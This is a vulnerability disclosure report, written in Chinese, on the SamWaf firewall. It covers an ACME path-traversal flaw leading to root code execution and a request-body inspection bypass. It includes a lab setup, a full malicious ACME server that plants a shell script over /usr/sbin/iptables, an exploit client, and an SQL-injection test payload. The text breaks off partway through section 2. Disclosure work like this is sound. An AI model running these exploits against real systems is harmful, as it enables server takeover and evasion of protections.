# SamWaf 漏洞报告
软件名称:SamWaf
开发者或厂商:samwafgo
代码仓库:https://github.com/samwafgo/SamWaf
## 1. ACME challenge 文件路径穿越导致 RCE
简要描述:持有低权账号的攻击者可以把 CA 地址指向自己的 ACME 服务,借助挑战 token 中的 `../` 把文件写到服务器上的指定路径,再借防火墙功能实现 RCE。
影响版本:v1.3.16-beta.13 ~ v1.3.25-beta.11
漏洞引入:[SamWaf commit 805265a4](https://github.com/samwafgo/SamWaf/commit/805265a488d2917fdc891b08a23ab0577432644c)
前置条件:攻击者持有已登录账号,只读审计员即可;SamWaf 能访问攻击者控制的 HTTPS ACME 目录。
### 漏洞成因
CA 服务器地址、证书订单与防火墙封禁三组接口都在只做登录校验的路由组:
```go
// wafmangeweb/localserver.go:172,188,192 commit ecea1ddff7
router.ApiGroupApp.InitSslOrderRouter(RouterGroup)
...
router.ApiGroupApp.InitWafCaServerInfoRouter(RouterGroup)
...
router.ApiGroupApp.InitFirewallIPBlockRouter(RouterGroup)
```
`caserverinfo/add` 把 CA 地址原样入库:
```go
// service/waf_service/waf_caserverinfo_service.go:19-36 commit ecea1ddff7
func (receiver *WafCaServerInfoService) AddApi(req request.WafCaServerInfoAddReq) error {
var bean = &model.CaServerInfo{
...
CaServerName: req.CaServerName,
CaServerAddress: req.CaServerAddress,
Remarks: req.Remarks,
}
global.GWAF_LOCAL_DB.Create(bean)
return nil
}
```
证书订单把这个地址交给 lego:
```go
// utils/ssl/ssl.go:80 commit ecea1ddff7
config.CADirURL = caServerAddress
```
```go
// utils/ssl/ssl.go:97-103 commit ecea1ddff7
switch order.ApplyMethod {
case "http01":
provider, err := newLoggingWebrootProvider(savePath, order.HostCode)
if err != nil {
return order, err
}
if err = client.Challenge.SetHTTP01Provider(provider); err != nil {
```
webroot 的根目录由站点编号拼成:
```go
// wafenginecore/sslorder.go:47 commit ecea1ddff7
filePath := utils.GetCurrentDir() + "/data/vhost/" + bean.HostCode
```
lego 的 webroot provider 把 ACME 服务器返回的 token 直接拼进文件路径:
```go
// providers/http/webroot/webroot.go:35-44 lego v4.30.1
func (w *HTTPProvider) Present(domain, token, keyAuth string) error {
var err error
challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))
err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
if err != nil {
return fmt.Errorf("could not create required directories in webroot for HTTP challenge: %w", err)
}
err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)
```
```go
// challenge/http01/http_challenge.go:26-28 lego v4.30.1
func ChallengePath(token string) string {
return "/.well-known/acme-challenge/" + token
}
```
token 由 ACME 服务器提供,`filepath.Join` 会对 `../` 做归一化,因此含 `../` 的 token 可以把 `challengeFilePath` 指到 webroot 之外。写入内容是 keyAuth,其前两行可以是可执行的 shell 脚本,脚本最后一行是带 `../` 的路径,用 `exit 0` 阻止执行。
写入完成后,防火墙封禁接口以服务器身份执行 `iptables`:
```go
// firewall/firewall.go:47-49 commit ecea1ddff7
func (fw *FireWallEngine) IsFirewallEnabled() bool {
if runtime.GOOS == "linux" {
out, err := wafexec.FixStdin(exec.Command("iptables", "-L")).CombinedOutput()
```
`exec.Command` 按 PATH 查找 `iptables`,若攻击者把脚本写到 `/usr/sbin/iptables`,防火墙调用时就会执行该脚本。`os.WriteFile` 只覆盖文件内容,权限位保持不变,因此覆盖 `/usr/sbin/iptables` 指向的可执行文件后,脚本仍可执行。
### 复现环境搭建
靶标用容器运行。compose 文件内容如下:
```yaml
services:
samwaf:
build: .
container_name: samwaf-vuln-app
ports:
- "18017:26666"
- "18018:80"
volumes:
- ./conf:/app/conf
- ./data:/app/data
- ./logs:/app/logs
- ./ssl:/app/ssl
cap_add:
- NET_ADMIN
networks:
- samwafnet
upstream:
image: nginx:alpine
container_name: samwaf-vuln-upstream
volumes:
- ./upstream:/usr/share/nginx/html:ro
networks:
- samwafnet
networks:
samwafnet:
```
Dockerfile 内容如下:
```Dockerfile
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates tzdata iptables curl && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY SamWaf /app/SamWaf
RUN chmod +x /app/SamWaf
EXPOSE 26666 80 443
CMD ["/app/SamWaf"]
```
编译并启动:
```bash
git clone https://github.com/samwafgo/SamWaf.git
mkdir -p samwaf-env/upstream
cd SamWaf
git checkout ecea1dd
CGO_ENABLED=1 go build -o ../samwaf-env/SamWaf ./cmd/samwaf
echo '
hello upstream
' > ../samwaf-env/upstream/index.html
cd ../samwaf-env
# 把上文的 docker-compose.yaml 与 Dockerfile 保存到当前目录
docker compose -p samwaf-vuln up -d --build
```
启动后 `data/initial_password.txt` 中是初始管理员口令,登录并把口令改为 `Admin@12345!`。新建站点 `test.local`,端口填 80,回源地址填 `http://samwaf-vuln-upstream`,回源端口 80:

在账号管理中新建 `auditor`,口令设为 `Auditor@123456!`,角色选审计管理员,首次登录后把口令改为 `Auditor@654321!`:

攻击者的 ACME 服务使用 HTTPS。本地复现时用自建 CA 签发服务端证书,并把它加入容器的信任库,用来模拟攻击者持有的公网受信证书:
```bash
openssl req -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.crt -days 365 -subj "/CN=SamWaf Test CA"
openssl req -newkey rsa:2048 -nodes -keyout srv.key -out srv.csr -subj "/CN=192.0.2.10"
printf 'subjectAltName=IP:192.0.2.10\n' > san.cnf
openssl x509 -req -in srv.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out srv.crt -days 365 -extfile san.cnf
docker cp ca.crt samwaf-vuln-app:/usr/local/share/ca-certificates/samwaf-test-ca.crt
docker exec samwaf-vuln-app update-ca-certificates
```
下文以 `192.0.2.10` 表示攻击者服务器的地址,复现时替换为实际地址。
### 复现过程
ACME 服务需要实现目录、nonce、账号、订单、授权与挑战六个端点,挑战响应中的 token 就是待写入的脚本:
```python
import secrets
import time
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse, Response
BASE = "https://192.0.2.10:8900"
TOKEN = "#!/bin/sh\nid > /tmp/pwned; exit 0\n/" + "../" * 20 + "usr/sbin/iptables"
app = FastAPI()
def nonce():
return secrets.token_urlsafe(16)
def reply(data, status=200, location=None):
headers = {"Replay-Nonce": nonce()}
if location:
headers["Location"] = BASE + location
return JSONResponse(data, status_code=status, headers=headers)
@app.get("/directory")
def directory():
return {
"newNonce": BASE + "/new-nonce",
"newAccount": BASE + "/new-account",
"newOrder": BASE + "/new-order",
"revokeCert": BASE + "/revoke",
"keyChange": BASE + "/key-change",
}
@app.head("/new-nonce")
@app.get("/new-nonce")
def new_nonce():
return Response(status_code=200, headers={"Replay-Nonce": nonce()})
@app.post("/new-account")
async def new_account(request: Request):
await request.body()
return reply({"status": "valid", "contact": []}, 201, "/acct/1")
@app.post("/acct/1")
async def account(request: Request):
await request.body()
return reply({"status": "valid", "contact": []})
@app.post("/new-order")
async def new_order(request: Request):
await request.body()
return reply({
"status": "pending",
"expires": "2030-01-01T00:00:00Z",
"identifiers": [{"type": "dns", "value": "test.local"}],
"authorizations": [BASE + "/authz/1"],
"finalize": BASE + "/finalize/1",
}, 201, "/order/1")
@app.post("/order/1")
async def order(request: Request):
await request.body()
return reply({
"status": "pending",
"expires": "2030-01-01T00:00:00Z",
"identifiers": [{"type": "dns", "value": "test.local"}],
"authorizations": [BASE + "/authz/1"],
"finalize": BASE + "/finalize/1",
})
@app.post("/authz/1")
async def authz(request: Request):
await request.body()
return reply({
"status": "pending",
"expires": "2030-01-01T00:00:00Z",
"identifier": {"type": "dns", "value": "test.local"},
"challenges": [{
"type": "http-01",
"url": BASE + "/chall/1",
"token": TOKEN,
"status": "pending",
}],
})
@app.post("/chall/1")
async def challenge(request: Request):
await request.body()
time.sleep(40)
return reply({"type": "http-01", "url": BASE + "/chall/1", "token": TOKEN, "status": "processing"})
@app.post("/finalize/1")
async def finalize(request: Request):
await request.body()
return reply({"status": "invalid", "error": {
"type": "urn:ietf:params:acme:error:serverInternal",
"detail": "no",
}})
```
启动服务:
```bash
uvicorn acme_server:app --host 0.0.0.0 --port 8900 \
--ssl-certfile srv.crt --ssl-keyfile srv.key
```
用 `auditor` 登录,添加 CA 服务器与证书订单,然后把封禁接口持续调用到挑战窗口结束:
```python
import base64
import json
import time
import uuid
import httpx
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
BASE = "http://127.0.0.1:18017"
CA = "https://192.0.2.10:8900/directory"
KEY = b"7E@u*has$d*@s5YX"
def decrypt(value):
raw = base64.b64decode(value)
return unpad(AES.new(KEY, AES.MODE_CBC, raw[:16]).decrypt(raw[16:]), 16)
def api(method, path, token=None, body=None):
headers = {
"X-Request-Time": str(int(time.time())),
"X-Request-Id": uuid.uuid4().hex,
}
if token:
headers["X-Token"] = token
response = httpx.request(method, BASE + path, headers=headers, json=body, timeout=30)
data = response.json()
if isinstance(data.get("data"), str):
data["data"] = json.loads(decrypt(data["data"]))
return data
token = api("POST", "/api/v1/public/login", body={
"login_account": "auditor",
"login_password": "Auditor@654321!",
})["data"]["access_token"]
hosts = api("POST", "/api/v1/wafhost/host/list", token, {"pageIndex": 1, "pageSize": 20})["data"]["list"]
code = next(host["code"] for host in hosts if host["host"] == "test.local")
print(api("POST", "/api/v1/wafhost/caserverinfo/add", token, {
"ca_server_name": "evilca",
"ca_server_address": CA,
"remarks": "demo",
})["msg"])
print(api("POST", "/api/v1/wafhost/sslorder/add", token, {
"host_code": code,
"apply_platform": "evilca",
"apply_method": "http01",
"skip_dns_verify": 0,
"apply_dns": "",
"apply_email": "a@b.com",
"apply_domain": "test.local",
"private_group_name": "",
})["msg"])
time.sleep(2)
for _ in range(200):
api("POST", "/api/v1/firewall/ipblock/add", token, {
"ip": "203.0.113.98",
"reason": "demo",
"block_type": "manual",
})
time.sleep(0.25)
```
输出如下:
```
添加成功
添加成功
```
管理端中可以看到这条订单:

应用日志记录了挑战文件的落盘路径:
```
2026-11-16 02:06:17.081 INFO ACME证书: 文件校验-挑战文件已生成 域名=test.local 路径=/usr/sbin/iptables 可回读=是 实际大小=156 期望大小=156 CA将访问=http://test.local/.well-known/acme-challenge/#!/bin/sh
/../../../../../../../../../../../../../../../../../../../../usr/sbin/iptables
```
防火墙执行了被写入的文件:
```
[DEBUG] 执行命令: iptables -I INPUT 1 -s 203.0.113.98 -j DROP
[INFO] 成功封禁IP: 203.0.113.98
```
查看执行结果:
```bash
$ docker exec samwaf-vuln-app cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
```
## 2. 逻辑漏洞导致 waf 绕过
简要描述:攻击者在请求中加入 `Transfer-Encoding: chunked`,或把请求体填充到 2048 字节以上,即可让 SamWaf 跳过对请求体的检测。
影响版本:v1.0.128 ~ v1.3.25-beta.11
漏洞引入:[SamWaf commit 7be63fc1](https://github.com/samwafgo/SamWaf/commit/7be63fc156cb12009366e916c344e6a1225310e3)
前置条件:无。
### 漏洞成因
请求体的读取被两个长度条件限制:
```go
// wafenginecore/wafengine.go:271-291 commit ecea1ddff7
contentLength := sanitizeContentLength(r.ContentLength)
var bodyByte []byte
// 拷贝一份request的Body ,控制不记录大文件的情况
if r.Body != nil && r.Body != http.NoBody && (contentLength > 0) && (contentLength < (global.GCONFIG_RECORD_MAX_BODY_LENGTH) || cacheConfig.IsEnableCache == 1) {
...
} else {
bodyByte, _ = io.ReadAll(r.Body)
r.Body = io.NopCloser(bytes.NewBuffer(bodyByte))
}
}
```
`GCONFIG_RECORD_MAX_BODY_LENGTH` 的默认值是 2048:
```go
// global/config.go:6 commit ecea1ddff7
GCONFIG_RECORD_MAX_BODY_LENGTH int64 = 1024 * 2 //限制记录最大请求的body长度 record_max_req_body_length
```
分块传输时 Go 把 `r.ContentLength` 置为 -1,`sanitizeContentLength` 把它归一成 0:
```go
// wafenginecore/wafengine.go:1429-1435 commit ecea1ddff7
func sanitizeContentLength(n int64) int64 {
if n < 0 {
return 0
}
return n
}
```
`contentLength > 0` 因此不成立,`io.ReadAll` 不会执行,`BODY` 被置为空串:
```go
// wafenginecore/wafengine.go:324 commit ecea1ddff7
BODY: string(bodyByte),
```
请求体没有被读取,因此没有被消费,反向代理会把原始内容完整转发给后端。SQL 注入、RCE、目录穿越、上传等检查都以 `BODY` 为输入,例如:
```go
// wafenginecore/checkrce.go:24-25 commit ecea1ddff7
isRce, RceName := wafdefenserce.DetermineRCE(weblogbean.RawQuery, weblogbean.URL,
weblogbean.COOKIES, weblogbean.BODY)
```
请求体达到 2048 字节时,`contentLength < GCONFIG_RECORD_MAX_BODY_LENGTH` 不成立,读取同样被跳过,而不是只截断前 2048 字节。
### 复现环境搭建
环境与第 1 节相同,重新启动一份干净的实例:
```bash
docker compose -p samwaf-vuln down -v
rm -rf data conf logs ssl
mkdir -p data conf logs ssl
docker compose -p samwaf-vuln up -d --build
```
登录管理端,把初始口令改为 `Admin@12345!`,新建站点 `test.local`,端口 80,回源到 `http://samwaf-vuln-upstream`,并启动该站点。
### 复现过程
先发送一段带 `Content-Length` 的 SQL 注入请求,作为对照:
```python
import http.client
payload = b"id=1' UNION SELECT username,password FROM users-- -"
connection = http.client.HTTPConnection("127.0.0.1", 18018, timeout=10)
connection.putrequest("POST", "/login", skip_host=True)
connection.putheader("Host", "test.local")
connection.putheader("Content-Type", "application/x-www-form-urlencoded")
connection.putheader("Content-Length", str(len(payload)))
connection.endheaders()
connection.send(payload)
response = connection.getresponse()
print(response.status)
print(response.read(70))
```
```
403
b'\n \n \n \r\n404 Not Found\r\n\r\n